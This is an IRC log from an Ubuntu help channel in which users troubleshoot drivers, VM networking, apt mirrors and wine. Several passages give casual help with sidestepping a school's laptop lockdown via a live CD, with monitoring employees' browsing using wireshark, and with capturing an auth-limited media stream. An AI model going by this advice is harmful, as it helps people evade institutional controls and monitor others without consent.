[03:32] <itsmabus> juano: I can ping the host from the vm and vice versa
[03:33] <rioghal> pb, you do realize that the firewall starts when you boot, firestarter is just a GUI front-end and when you close firestarter the firewall continues running, right?
[03:33] <juano> itsmabus: iptables -P FORWARD ACCEPT (on host)
[03:33] <pb> when it is hidden i don't know if it is running or not?
[03:33] <kupesoft> Hansel: bare-bones,
[03:33] <diederick> brb
[03:33] <Graig> anyone experienced with ati drivers?
[03:33] <Flannel> pb: firestarter is just a configuration editor, the firewall runs all the time, regardless (it's built into the kernel)
[03:33] <rioghal> !ati
[03:33] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:33] <Graig> my card makes noise when i do 3d.
[03:34] <wadoo> the ububtu 6.10  for 32 bits... but that is the main reazon why i want to use the 64 bit version to work better on maya
[03:34] <pb> ok, I get it thanks
[03:34] <juano> itsmabus: echo 1 > /proc/sys/net/ipv4/ip_forward (on host also)
[03:34] <hakrzcode> pb, firestarter basically writes a script that is run when booting your system. The gui is good for dynamically adding hosts, and to view blocked traffic.
[03:34] <diederick> juano: well something change...
[03:35] <wadoo> and sorry but dont have any clue of codes...
[03:35] <diederick> though I'm not sure if its correct...
[03:35] <jamesb2147> having some more issues...  installed xp drivers for dwl-g122 using ndiswrapper command in edgy (after installing 1.8, of course) and it still says the drivers are invalid!
[03:35] <pb> good to know thanks for your reply
[03:35] <itsmabus> juano: ok
[03:35] <jamesb2147> guy on the ndiswrapper wiki says that he got it working on debian
[03:35] <bruenig> wadoo, you will have problems using 64 bit, if you aren't really experienced, you should use 32 bit.
[03:35] <wadoo> and the good this is that the install was soo smoth
[03:35] <atoponce> Kyral: ping
[03:36] <juano> diederick: you can try glxgears in a terminal to see if theyre ok
[03:36] <bruenig> wadoo, what language do you speak
[03:36] <Kyral> huwah
[03:36] <Kyral> why does someone want me?
[03:36] <wadoo> ok... if i have no choice i will
[03:36] <wadoo>  i wont go back to win...
[03:36] <juano> diederick: type glxgears, if theyre al slowwish stuttery then its wrong, if they move nice and smooth and rather fast then your good
[03:36] <wadoo> no more
[03:36] <diederick> juano: that works perfectly
[03:36] <rioghal> wadoo, That's the spirit 
[03:36] <Hansel> wadoo - welcome to the club.
[03:36] <diederick> so it works?
[03:36] <Hansel> wadoo - I gave up on Windows entirely about 2 months ago...
[03:36] <nhaines> I'm glad you like Ubuntu so far, wadoo.  :)
[03:36] <diederick> how can I change my resolution?
[03:37] <Hansel> diederick - edit your xorg.conf... gnome and kde usually have resolution changing options.
[03:37] <nhaines> I gave up on Windows just as 6.06 came out.
[03:37] <Hansel> not sure for other wm's
[03:37] <diederick> oke great!
[03:37] <itsmabus> juano: no luck
[03:37] <diederick> well gonna sleep now, and I'll continue tomorrow
[03:37] <juano> diederick: try Hansel comment
[03:37] <Camden> my kid is running a game under wine
[03:37] <Camden> and wants to pause it
[03:37] <diederick> one thing...
[03:37] <wadoo> yes but in my case is kind of frustrating cause i need to erase my win brain of work..
[03:37] <Camden> i.e. time for bed
[03:37] <juano> diederick: good luck! :)
[03:37] <diederick> I've two screens, is that supported ?
[03:37] <Camden> how do i pause it
[03:37] <juano> diederick: yes?
[03:37] <Camden> ?
[03:38] <diederick> great!
[03:38] <Camden> it is a full screen windows game
[03:38] <rioghal> Camden, That should be in the game's documentation
[03:38] <juano> diederick: yes, you can enter nvidia-settings from command line
[03:38] <Bluedog> whats the diff between running gnome->add/remove application
[03:38] <Bluedog> and synaptic?
[03:38] <Hansel> Camden - probably ESC ?
[03:38] <Camden> i tried that
[03:38] <wadoo> thanks  i will get the 32 bit version now,,, cya latter..
[03:38] <Bluedog> its similar, but synaptic has more, why is this?
[03:38] <Camden> isn't there a wine key?
[03:38] <diederick> juano: really thanx a lot! see you later!
[03:38] <bruenig> Bluedog, well they look different
[03:38] <Camden> to send a STOP signal?
[03:38] <jamesb2147> anyone know wireless...?
[03:38] <Camden> like Ctrl-Z?
[03:38] <Hansel> Camden - some games dont have pause... wine doesn't have a pause key but you could potentially CTRL Z it and that will send it into the background.
[03:38] <Camden> it doesn't work
[03:38] <Bluedog> if you can install something from both, is there a difference?
[03:38] <Camden> Ctrl Z
[03:38] <Flannel> Bluedog: they do the exact same thing, one gives you more control (and overwhelms some people), the other is more newbie friendly
[03:38] <bruenig> Bluedog, no
[03:38] <Bluedog> awesome :)
[03:38] <itsmabus> juano: the local ip for eth0 on the vm is 192.168.0.101 and on wlan0 on the host it's 192.168.0.100 .. both were obtained with dhcp
[03:38] <Bluedog> thankyou
[03:38] <juano> itsmabus, try route add -net $ipnet -netmask $submask , then try route add default gw $ipgateway, do this in the host
[03:39] <Hansel> Camden - you would have to CTRL Z it from the xterm you launched it from
[03:39] <wadoo> kubuntu 610 is like the same right?
[03:39] <hakrzcode> Bluedog: The add applications prog, is more for windows users, ease. It is simpler.
[03:39] <bruenig> Bluedog, you can always use apt-get from the command line
[03:39] <aussieaubs> anyone installed beryl or 3ddesktop on ubuntu and can vouch if its worth the bother?
[03:39] <Hansel> you cant just CTRL Z from within the game.
[03:39] <juano> itsmabus: on the CLIENT sorry
[03:39] <pb> just wondering if anyone here has sucessfully got evolution to work with exchange server?  no help needed I will keep on working on it until i get it working someday
[03:39] <Bluedog> ok :)
[03:39] <itsmabus> juano: substitte those variables with what?
[03:39] <Hansel> aussieaubs, if you have the hardware to do it then yes... it is very "pretty"... whether or not it's "worth" it is another matter.
[03:39] <rioghal> aussieaubs, 3ddesktop works great, but it's just a fancy eye-candy pager
[03:39] <Camden> i have successfully killed this game before by using Alt-Tab to get an outline of the xterm, then hitting Ctrl-C
[03:39] <Hansel> aussieaubs, do you think lots of unnecessary eye candy is "worth" the time to configure it?
[03:39] <Camden> but Ctrl-Z doesn't seem to pause it
[03:40] <jamesb2147> anybody, PLEASE...  i need help with my wireless!
[03:40] <Hansel> jamesb2147, use this link....
[03:40] <Hansel> !wireless
[03:40] <juano> itsmabus, try route add -net 192.168.0.0 -netmask 255.255.255.0 , then try route add default gw $ipgateway, do this in the VM
[03:40] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[03:40] <factboy818181> using CUPS and trying to print to a lexmark 5200 printer, but it doesn't do anything - can't even print the test page.  i get this in the cups error log: cupsdAuthorize: Local authentication certificate not found
[03:40] <aussieaubs> hansel - rioghal - thanks guys. im curious as to if my card is good enuf
[03:40] <Hansel> aussieaubs, what do you have?
[03:40] <juano> itsmabus: is your Host connecting directly to net or behind routeR?
[03:40] <rioghal> aussieaubs, What kind of card is it?
[03:40] <aussieaubs> 64 card built onto mobo of HP slimline unit its a P4 unit
[03:41] <aussieaubs> 64mb hansel
[03:41] <Hansel> aussieaubs, geforce?  ati?  what version of card?
[03:41] <aussieaubs> yep nvidia
[03:41] <Hansel> geforce 3?
[03:41] <Hansel> 4? 5? 6? 7? 92348920?
[03:41] <jamesb2147> hansel: i already did that and followed the instructions and they were great for getting ndiswrapper installed, but then i install the wireless files and nothing.  says they're invalid.
[03:41] <Camden> we used to play this game under windows, and the only way we could pause it was to do Ctrl-Esc (to get the task bar visible), then clicking on some other window
[03:41] <aussieaubs> umm 1 sec
[03:41] <Hansel> jamesb2147, its possible your card isn't supported  :(
[03:42] <Camden> i'm actually surprised it works so well under wine, but pause would be nice
[03:42] <juano> itsmabus: is your Real PC connecting directly to internet? or is it behind a router?
[03:42] <Hansel> Camden, check winehq website for info on the game... maybe its a lil trick somebody documented?
[03:42] <jamesb2147> the only thing is, some guy got it to work using debian and ndiswrapper
[03:42] <Camden> ok
[03:43] <juano> itsmabus: if your real PC connects directly to internet, then your gateway should be real pc ip of interface thats connected to your LAN
[03:43] <Hansel> Camden - keep in mind its a compatability layer... things might not work EXACTLY like in Windows.
[03:43] <Camden> another thing i thought of would be to ssh to the machine over my LAN and send a STOP signal (kill -STOP) to wine
[03:43] <Camden> but i don't have sshd running on it
[03:44] <Hansel> you could always pull up another term and kill -STOP the pid...
[03:44] <Hansel> or kill -15 or -9 it  tee hee
[03:45] <hakrzcode> Hansel, I believe you are thinking of -HUP?
[03:45] <Hansel> hakrzcode, no... I'm telling him how to completely kill off the process  :P
[03:45] <Hansel> -HUP is a SIGHUP...
[03:45] <hakrzcode> that will usually reload any configuration or allow the process, to shutdown nicely, but if you wish the deathwish, then it is -9.
[03:46] <Hansel> hakrzcode, of this I'm aware.  :)
[03:46] <hakrzcode> A cat only has 9 lives. you use them up in one shot.
[03:46] <juano> hakrzcode is right, kill -HUP (daemon)
[03:46] <Camden> hmmm ... seems this game was giving the wine developers fits back in '02
[03:46] <Camden> something about an "unmanaged window"
[03:47] <Hansel> Camden - just pull up a term and kill -STOP then -CONT when you wake up :)
[03:47] <Hansel> not really "pause" though.
[03:47] <b14ck73425> can anyone here help me with a wine problem?
[03:47] <h3xis> b14ck73425, see #alcoholics-anonymous
[03:47] <Hansel> b14ck73425, we can try if you ask a specific question.
[03:47] <anubis_> Totem could not play 'mms://wm2-cm.edgestreams.net/1e/e6/1ee675846fc8b20cd05c1b8140a69b6d-451d68a5.asf?auth=caEbXaYcSbycGbqcUaocraUa8diawasb7dy-bfPVAo-eS-Ovb=0001'.
[03:47] <b14ck73425> ok
[03:48] <black_abaddon> i am troller
[03:48] <black_abaddon> night to you all
[03:48] <shan1> Is it possible to use Amarok to put songs on your ipod when it's rockbox'd?
[03:48] <mgardner> can someone help me with some xorg/nvidia problems?  I changed cards and now its acting up
[03:48] <b14ck73425> everytime i try to configure wine sound i get this -Creating link /root/.kde/socket-74k3n.
[03:48] <b14ck73425> can't create mcop directory
[03:48] <Camden> how can i get a term up
[03:48] <draeath> Is something wrong with the repos?
[03:48] <neil_edgy> help i cannot run icq groupware under wine upon firing it up, installation was okay though
[03:48] <draeath> I keep getting messages like "502 Bad Gateway [IP: 146.137.96.7 80] " from apt
[03:48] <Hansel> b14ck73425, you may need to sudo the command... or strace to find out why its giving the error.
[03:48] <aussieaubs> woah - my whole xwindows just reset back to the logon screen...
[03:49] <DesertEagle> hello all
[03:49] <Hansel> aussieaubs, thats scary.
[03:49] <b14ck73425> i was under sudo
[03:49] <draeath> mostly when trying to use http://us.archive.ubuntu.com
[03:49] <b14ck73425> or i was sudo rather
[03:49] <mgardner> draeath: I've been having those problems too
[03:49] <iketurner> can you ping it
[03:49] <aussieaubs> i was trying to get the details of my vid card...
[03:49] <DesertEagle> does anyone know where the keymapping file?
[03:49] <draeath> mgardner, OK, as long as it's not a problem for me alone then I can stop panicing
[03:49] <dionysos22_> join #mepis
[03:49] <Hansel> DesertEagle, /usr/lib/kbd/keytables/*.map
[03:50] <shan1> I want to use amarok to transfer files onto my rockbox'd ipod...is that possible?
[03:50] <draeath> iketurner, yes, it pings OK
[03:50] <draeath> 502 is an http error, so TCP/IP is working
[03:50] <mgardner> draeath: it seems to happen every now and then
[03:50] <aussieaubs> ok i think the card is nvidia quadro nvs
[03:50] <aussieaubs> 64mb
[03:51] <draeath> mgardner, maybe when a change propagates the cluseter?
[03:51] <aussieaubs> bus type is agp
[03:51] <Camden> anubis_ i'm getting unauthorized for that mms
[03:51] <draeath> mgardner, hopefully the archive isn't one host :P
[03:51] <Camden> how are you feeding it to totem?
[03:51] <DesertEagle> Hansel are you sure? there's no dir kbd in /usr/lib
[03:51] <Camden> i've had issues with similar subscription multimedia
[03:51] <DesertEagle> i thought it was /usr/share/X11/XKeysymDB
[03:51] <mgardner> draeath: it seems to happen at really random intervals.  I've been trying to redo my nvidia/beryl install and I get it popping up every now and then when I call update
[03:51] <itsmabus> juano: my laptop (192.168.0.100) hosts the vm (192.168.0.101), and the laptop connects through the router at 192.168.0.1
[03:51] <DesertEagle> but apparently it isn't the only one
[03:52] <aussieaubs> hansel - nvidia quadro
[03:52] <Camden> the trick i found is that the server only lets you download it once with that auth id
[03:52] <Hansel> DesertEagle, /etc/X11/xkb/keymap  ???
[03:52] <juano> itsmabus: ahh, then it would be like this
[03:52] <Camden> so if you hit it with a player then try to hit it with a capture program
[03:52] <Camden> it won't work
[03:52] <Hansel> aussieaubs, I'd ask in #beryl to be 100% sure but I think it will work.
[03:52] <Camden> you have to hit it with the capture program right away
[03:52] <iketurner> does anyone have a link to installing apache mysql php5
[03:52] <itsmabus> juano: 101 and 100 are supposedly bridged
[03:52] <aussieaubs> ok thanks
[03:52] <juano> itsmabus, try ---->1)  route add -net 192.168.0.0 -netmask 255.255.255.0 , 2) route add default gw 192.168.0.1, do this in the VM
[03:52] <Flannel> !lamp | iketurner
[03:53] <ubotu> iketurner: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[03:53] <itsmabus> iketurner: you can do all of that with the press of a button with the ubuntu server install cd
[03:53] <Camden> so if totem is hitting it after something else already hit it, it will get Forbidden
[03:53] <itsmabus> juano: already tried that, said file exists for #2
[03:53] <DesertEagle> Hansel it says not to use that one, but doesn't say where to :(
[03:53] <Camden> i mean unauthorized
[03:53] <iketurner> I installed the workstation I dont mind installing each package
[03:54] <MindFreek> how do I upgrade my Ubuntu install to 64bit
[03:54] <iketurner> makes me better
[03:54] <draeath> anyone know how i can get raw kernel message output (or whatever dmesg displays) on a terminal?
[03:54] <juano> itsmabus: echo 1 > /proc/sys/net/ipv4/ip_forward (on host also)
[03:54] <Flannel> MindFreek: your current install is 32?
[03:54] <MindFreek> yes.
[03:54] <juano> itsmabus: iptables -P FORWARD ACCEPT (on host also)
[03:54] <noobcook> whats the command to see flagged staff memebers
[03:54] <itsmabus> juano: and I think -net is wrong syntax.. --net is unrecognized and -net makes it says that t is an invalid option
[03:54] <Hansel> DesertEagle, /usr/X11/kbd/keymap/xfree86  is that what you looked at?
[03:54] <itsmabus> juano: already did that
[03:54] <Flannel> MindFreek: I don't believe an "upgrade" is possible.  Believe it requires a fresh installation
[03:54] <mgardner> draeath: I just ran update again and it seems to work
[03:54] <draeath> hah! fail2ban caught another bot.
[03:54] <dionysos22_> anyone know how i can fix my touchpad.. it wont drag under ubuntu
[03:55] <draeath> dionysos22, synaptics?
[03:55] <MindFreek> Flannel, oh, I was under the impression (from some very initial searching) that I could just upgrade. IF IT AINT BROKE, DONT FIX IT. I will just leave 32-bit
[03:55] <dionysos22_> yeah
[03:55] <juano> itsmabus: add sudo before each command, forgot that darn..
[03:55] <draeath> dionysos22_, whip out your text editor and read 'man synaptics'
[03:55] <nhaines> MindFreek: yeah, 64-bit is an entirely different platform and you have to install from scratch.  On the bright side, there are still problems with 64-bit, so you're not missing much.  :)
[03:55] <dionysos22_> awesome
[03:56] <itsmabus> juano: I'm logged in as root
[03:56] <draeath> dionysos22_, make sure xserver-xorg-input-synaptics is installed though
[03:56] <MindFreek> nhaines, will it make a significant difference, 32 vs 64 ?
[03:56] <juano> itsmabus: k, also 1 more thing
[03:56] <juano> itsmabus: in vmware, you should select bridged network option
[03:56] <DesertEagle> Hansel that one's weird, i was looking for something like /usr/share/X11/XKeysymDB as suggested by http://gentoo-wiki.com/HOWTO_Use_Multimedia_Keys
[03:56] <juano> itsmabus: for ethernet card, theres 4 options you should choose bridged, not NAT
[03:56] <itsmabus> juano: wlan0 on the host and eth0 on the vm are supposedly bridged
[03:56] <nhaines> MindFreek, no, it really doesn't.
[03:57] <mgardner> agggg I got the 502 error when trying to apt-get, anyone else being bothered by this?
[03:57] <draeath> dionysos22_, looking for the specifics for dragging. I assume you want tap-drag
[03:57] <DesertEagle> itsmabus: and, oh yeah, it's not a good idea to connect to IRC as root :P
[03:57] <MindFreek> nhaines, ok, thanks, I appreciate the info.. .I will just leave it as it is... no problems yet with my 32b install
[03:57] <MindFreek> Flannel, thanks to you too.
[03:57] <Flannel> MindFreek: only if you have >4GB of ram
[03:57] <Hansel> DesertEagle, http://howtos.linux.com/howtos/Danish-HOWTO-2.shtml  <--- look in section 2.3
[03:57] <MindFreek> Flannel, I do not have that.
[03:57] <itsmabus> DesertEagle: I'm logged into my vm as root, not even the same box I'm irssing on
[03:58] <nhaines> MindFreek, well, *one* significant difference is that you can't run 32-bit plugins in 64-bit apps, like Flash in 64bit Firefox, or w32codecs in 64-bit players.  So...  :)
[03:58] <iketurner> you can change the apt-get files to update from differnet sites like yum correct
[03:58] <DesertEagle> Hansel oh my bad, i though that url was for someone else, thank you
[03:58] <Hansel> iketurner, yes.. its your sources.list file
[03:58] <DesertEagle> itsmabus: oh ok then :P
[03:58] <Kervan> How can i include my Apache?
[03:58] <iketurner> thanks
[03:58] <Kervan> Sorry
[03:58] <draeath> dionysos22_, look for "LockedDrags"
[03:58] <Flannel> iketurner: it uses your sources.list, so sure.
[03:58] <MindFreek> nhaines, so you are basically saying, that I should stick with 32b until there is more universal support for the 64b
[03:58] <Kervan> How can I include Ajax to Apache?
[03:58] <dionysos22> ok..
[03:59] <Hansel> Kervan - you use ajax in your scripts... you dont need to compile anything extra into apache to get ajax to work AFAIK
[03:59] <dionysos22> thanks a bunch
[03:59] <draeath> dionysos22_, also SingleTapTimeout
[03:59] <juano> itsmabus: should work, worked for me with solaris inside vmware
[03:59] <noobcook> is it better to install fglrx drivers or the ATI drivers off their site?
[03:59] <juano> itsmabus: but didnt try ubuntu in vmware
[03:59] <nhaines> MindFreek, Yes, unless you want to play with it (try the Desktop CD!) or have some specific reason to run in 64-bit.  Almost everything works, but a couple common things don't.
[03:59] <draeath> dionysos22_, cant help much further than that, i use an external mouse rather than my pad
[03:59] <Flannel> Kervan: they're entirely different.  One is serverside (apache), one is clientside (javascript), you'll want... some serverside language, it could be any of them though.
[03:59] <juano> itsmabus: you can ping fine to your host?
[03:59] <itsmabus> yep
[03:59] <MindFreek> nhaines, OK, I will keep all that in mind, I am relatively new to Ubuntu and Linux the like, so I might just mess around with this until I am more familiar.
[04:00] <Hansel> Kervan - all you need to do with apache is add support for your scripting language (ie; ruby, php, etc)
[04:00] <Kervan> Hansel: why my apache cannot run xajax lib correctly i take this error : Fatal error: Call to undefined method xajax::aFunctions() in /var/www/ajax/yd.php on line 23,
[04:00] <draeath> MindFreek, remember the 16-32 transition? the same thing. Wait untill you NEED to switch, or you'll have MORE problems than if you wait untill you have to.
[04:00] <itsmabus> juano: I think its something with iptables in my host or something
[04:00] <juano> itsmabus: yeah... iptables -P FORWARD ACCEPT should do the trick
[04:00] <Kervan> Hansel: i have included php to apache
[04:00] <Hansel> Kervan - it sounds like you are trying to use a pear library...
[04:00] <Flannel> Kervan: that's a php issue, not an apache issue
[04:00] <noobcook> whats the console command to eject cd rom
[04:00] <MindFreek> draeath, yeah, i am thinking the same thing, since I have no issues now, I will wait...
[04:00] <draeath> I wish they would skip all the steps and just give us 256-bit processors - we'll be set for a nice long while!
[04:00] <biotrox> how to check source list in ubuntu..?
[04:01] <Arigato> how do I start a module from the terminal?
[04:01] <riotkittie> i wish there was an easy way to switch between sets of gnome panels =/
[04:01] <draeath> biotrox, cat /etc/apt/sources.list
[04:01] <Hansel> /etc/apt/sources.list
[04:01] <Kervan> hansel pear library?
[04:01] <toulouse> hey guys, i am looking for a linux that can run as a live cd but still connect to the Internet, any suggestions?? (it's for these laptops our school gave us, they have them locked down, but with linux i can use the internet (wifi))
[04:01] <riotkittie> noobcook: eject
[04:01] <iketurner> are the update servers down
[04:01] <Hansel> Kervan - the problem is you are trying to use a xajax method in your PHP script which isn't properly defined.  I'd ask in #php...
[04:01] <juano> itsmabus: try assinging static ip in vm
[04:01] <draeath> toulouse, DSL, knoppix, are good starts
[04:01] <hakrzcode> kervan, pear is a default in PHP.
[04:02] <draeath> DSL is faster, knoppix has more stuff than you would ever want
[04:02] <Hansel> Kervan - go to phppaste.org and paste your code and let them review it.
[04:02] <nhaines> toulouse: they almost all can.  I'd recommend Knoppix.
[04:02] <juano> asigning*
[04:02] <hakrzcode> kervan, default installed.
[04:02] <noobcook> riotkittie: what about when its frozen btu says its buzy
[04:02] <biotrox> after i cat /etc/apt/sources.list and then..?
[04:02] <riotkittie> toulouse: slax
[04:02] <toulouse> knoppix, ok, ive used dsl embedded
[04:02] <riotkittie> noobcook: no clue
[04:02] <draeath> toulouse, also, if oyu don't need linux per-se but want something *NIX look for freesbie
[04:02] <draeath> toulouse, FreeBSD based
[04:02] <Hansel> biotrox - pico or vi the sources.list and edit it... add in repositories you want then save and apt-get update
[04:02] <Hansel> then you can apt-get install and it will use the new repository
[04:02] <toulouse> well, it's just for hax0ring the schools laptops
[04:02] <juano> itsmabus: ifconfig eth0 192.168.0.50 up, then do those route commands again
[04:02] <nhaines> toulouse, SLAX is also very nice, but I don't know how easy it'd be to set up the wireless support.
[04:02] <draeath> riotkittie, xfree86 is a dealbreaker for me, my hardware doesn't agree with it
[04:03] <biotrox> where can i see all the available repositories?
[04:03] <biotrox> !repositories
[04:03] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:03] <toulouse> so knopix or dsl right?
[04:03] <riotkittie> draeath: ah
[04:03] <iketurner> are there better respo sites then the standard
[04:03] <toulouse> ttyl guys
[04:03] <Hansel> iketurner - not "better" per se
[04:03] <draeath> toulouse, DSL for speed, and weaker machines. Knoppix for all else
[04:03] <iketurner> lol
[04:03] <draeath> toulouse, knoppix CDs are a bit more lightweitght than the DVDs
[04:03] <Hansel> iketurner - it all depends on the software you are looking for... some repositories have more than others.
[04:03] <draeath> toulouse, they have a 30mb DSL disk, and a ~ 150mb one as well
[04:03] <juano> itsmabus: but if you can ping then it should be fne
[04:03] <draeath> toulouse, DSL is damn small linux - make searching easier
[04:03] <juano> fine
[04:04] <iketurner> I am trying to install lamp and the sites are timing out when use the apt get command
[04:04] <draeath> toulouse, knoppix is best bet though
[04:04] <iketurner> I really dont want to do tar.gz files
[04:04] <draeath> iketurner, 502 BAD GATEWAY?
[04:04] <iketurner> to much work
[04:04] <toulouse> yeah, it's gonna be on a cd, so i guess these laptops are probly pieces of $#!T, better go with a relatively small cd (they probly have crappy ram)
[04:04] <iketurner> no
[04:04] <juano> iketurner: synaptic
[04:04] <Hansel> iketurner - got your linux install cd sitting around?  heh
[04:04] <iketurner> I get connection error
[04:04] <iketurner> timing out
[04:04] <draeath> iketurner, mirrors are having issues though
[04:05] <iketurner>  146.137.96.15 80
[04:05] <iketurner> ok that is what I thought
[04:05] <draeath> iketurner, whats your IP? i can open my proxy for you and you can try to use that? better/MSG me
[04:05] <iketurner> lol
[04:05] <iketurner> na I will wait
[04:05] <draeath> up to you
[04:05] <Hansel> hah... yes, trust a complete stranger to setup a legit proxy for you
[04:05] <noobcook> LOL
[04:05] <riotkittie> hahaha
[04:05] <noobcook> "what is your ip"
[04:05] <iketurner> I am not a noob
[04:06] <draeath> would you like a temporary user account for SSH?>
[04:06] <noobcook> social enggineering at its highest form
[04:06] <iketurner> I am trying this instead of Fedora
[04:06] <Hansel> hows abouts I setup an account for you on my boxen and give you sudo access with ALL:NOPASSWD in sudoers?
[04:06] <iketurner> every time I update I break something
[04:06] <iketurner> this version of ubuntu seems stable
[04:06] <draeath> Hansel, great for a VM
[04:06] <iketurner> lol
[04:06] <Kervan> Hansel: http://rafb.net/p/kFOZKl76.html here is my code
[04:06] <draeath> noobcook, again, virtual machines are useful
[04:07] <manny> hey guys
[04:07] <nhaines> Take care, all.  :)
[04:07] <draeath> pwn that qcow image!
[04:07] <Hansel> Kervan - take it to #php... I'm a reformed phper... I'm all ruby.  Actually I'm more easytrieve and jcl than anything these days.  :(
[04:07] <noobcook> hello manny
[04:07] <draeath> well, I offered - no offense taken at your decline
[04:07] <Kervan> thanks
[04:07] <Kervan> hansel thanks
[04:07] <Hansel> np
[04:08] <kintaro0e> hey guys..i want to monitor our bandwidth in our company..like i know what they are browsing...what tool shall i install?i've seen etherape..any other..thanks
[04:08] <manny> i have a quick dumb question
[04:08] <piao> hi
[04:08] <manny> sudo dpkg-reconfigure linux-image-$(uname -r)
[04:08] <manny> when a cmd asks you to type that
[04:08] <h3xis> kintaro0e, wireshark
[04:08] <manny> do i acually type it like that or do i put my logon name where the uname is
[04:08] <kintaro0e> h3xis: thanks
[04:08] <draeath> $(uname -r) is replaced by the output of 'uname -r'
[04:08] <piao> is any body use lumaqq?
[04:08] <Hansel> kintaro0e, I recommend packetfence for lots of monitoring/worm mitigation/etc... openbsd has good tools for bandwidth shaping and monitoring as well which I'm sure you can find for linux.
[04:08] <draeath> manny, uname pulls info from kernel
[04:08] <adaptr> kintaro0e: apart from the obvious legal ramifications, you're naming at least three wildly different goals in one sentence
[04:08] <corrupted> hi
[04:09] <noobcook> who wants my ip
[04:09] <zach> anyone having trouble with the repos tonight?
[04:09] <manny> like for instance bla bla bla manny -r
[04:09] <draeath> nope
[04:09] <noobcook> lol
[04:09] <noobcook> only dont crash anything
[04:09] <manny> oh
[04:09] <draeath> just like you typed it
[04:09] <corrupted> can anyone help me with installing a certion .bin file?
[04:09] <manny> ok
[04:09] <draeath> try uname -r in a terminal
[04:09] <manny> just making sure
[04:09] <Hansel> noobcook, we would just /dns you if we wanted it
[04:09] <draeath> or 'man uname'
[04:09] <h3xis> corrupted, which bin file
[04:09] <manny> oh ok i see
[04:09] <noobcook> thats mask though =p
[04:09] <Hansel> corrupted, just ./thefile.bin
[04:09] <draeath> manny, heh, it does look like an attempt at 'your name' though :)
[04:09] <corrupted> its called install_digichat.bin
[04:09] <Hansel> corrupted, you may need to chmod +x it
[04:10] <draeath> your-name -> urname -> uname
[04:10] <manny> lol
[04:10] <Hansel> ./ <--- how to execute a binary file NOT in /bin /sbin etc
[04:10] <h3xis> corrupted, run sudo chmod +x instsall_digichat.bin; ./install_digichat.bin
[04:10] <kintaro0e> Hansel: thanks
[04:10] <Hansel> np kintaro0e
[04:10] <draeath> yes, if its not in $PATH, you need to put the path. even if it is ./
[04:10] <NsOmNiAc> can someone show me a better site for updating screen resolution under Ubuntu Edgy Eft ?
[04:10] <NsOmNiAc> to get a higher resolution
[04:11] <draeath> NsOmNiAc, keleus.freeshell.org and follow the link
[04:11] <Hansel> NsOmNiAc, your best bet is to edit your xorg.conf in /etc/X11
[04:11] <juano> NsOmNiAc: edit /etc/X11/xorg.conf
[04:11] <adaptr> NsOmNiAc: what site ? just input your monitor's capabilities in xorg.conf and restart X
[04:11] <corrupted> #3xis
[04:11] <Hansel> NsOmNiAc, make sure you dont over do it... if your monitor cant handle the resolution it will "wig out"
[04:11] <draeath> http://ubuntuforums.org/showthread.php?t=83973
[04:12] <draeath> NsOmNiAc, watch out for hardware issues
[04:12] <Hansel> NsOmNiAc, I recommend you just put a list of resolutions from 1600x1200 down to 800x600 and then use the KDE/Gnome resolution changer to try them all so it will recover if it tweaks out
[04:12] <ctrl> im having an issue with ubuntu 6.10 freezing up randomly
[04:12] <NsOmNiAc> yeahh I want 1600x1200
[04:12] <ctrl> can anyone help me?
[04:12] <corrupted> i forgot how to wisper in irc >.<
[04:12] <draeath> NsOmNiAc, my laptop (desktop replacement) refuses to use > 1024x768 unless I turn off the LCD panel and FORCE X11 to think its bigger.
[04:12] <Hansel> ctrl - only if you ask a Q
[04:12] <draeath> corrupted, /msg USER message
[04:12] <corrupted> /msg h3xis
[04:12] <corrupted> corrupted@corrupted-desktop:~$ sh ./install_digichat.bin
[04:12] <corrupted> sh: Can't open ./install_digichat.bin
[04:12] <corrupted> corrupted@corrupted-desktop:~$
[04:12] <ctrl> well what is causing this and how can i fix these random freezes?
[04:12] <ken> does anyone know what the heck an uninteruptable process is????
[04:13] <Hansel> corrupted, did you chmod +x install_digichat.bin  ???
[04:13] <h3xis> corrupted, did you chmod it?
[04:13] <adaptr> ken: it's a process that cannot be interrupted, oddly enough
[04:13] <draeath> corrupted, what does 'file install_digichat.bin' say?
[04:13] <corrupted> it wont let me open it
[04:13] <Hubris2> Anybody here familiar with the install for Compiz?
[04:13] <hakrzcode> lol, adaptr.
[04:13] <ctrl> ?
[04:13] <h3xis> corrupted, sudo chmod +x install_digichat.bin
[04:13] <Hansel> !compiz | Hubris2
[04:13] <ken> adaptr: how do you kill an uninteruptable process????
[04:13] <ubotu> Hubris2: Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems
[04:14] <adaptr> ken: what does top show ? if it's waiting for I/O, killing it may be dangerous
[04:14] <puff> I'm trying to use easybuntu, anybody installed it?
[04:14] <puff> The instructions appear out of date.
[04:14] <Hansel> ctrl - I'd recommend you tail -f /var/log/messages
[04:14] <corrupted> iv done chmod  and it says no such file or directory
[04:14] <Hansel> ctrl - watch it and hopefully something gets written right before the freeze
[04:14] <hakrzcode> ken, unfortunately it is not interruptable, therefore no signals get through.
[04:14] <ctrl> so i just boot up terminal and type that up?
[04:14] <ken> adaptr: not much it is waiting.... its lsdvd at 0% cpu
[04:14] <Hansel> ctrl - yes... and keep the term visible... obviously if it freezes you wont be able to pull it up to read it later
[04:15] <adaptr> ken: what *state* is the process in ?
[04:15] <ken> adaptr: and i can'teject
[04:15] <ctrl> hansel: thanks
[04:15] <piao> join #ubuntu-cn
[04:15] <draeath> corrupted, type the first few letters of the filename and hit TAB. your typing the file wrong probably
[04:15] <lotacus> hey guys, I went into configuratio editor to turn off gnome animations, however, I am still getting the animations. :S what's funky about this?
[04:15] <Hansel> ctrl - np... if it doesnt write anything then its likely a hardware issue.. :(
[04:15] <lotacus> yea I killed x and restarted it
[04:15] <Hansel> ctrl - maybe you have bad RAM?
[04:15] <adaptr> or bad hair
[04:15] <corrupted> nothing happens
[04:15] <draeath> no beeps?
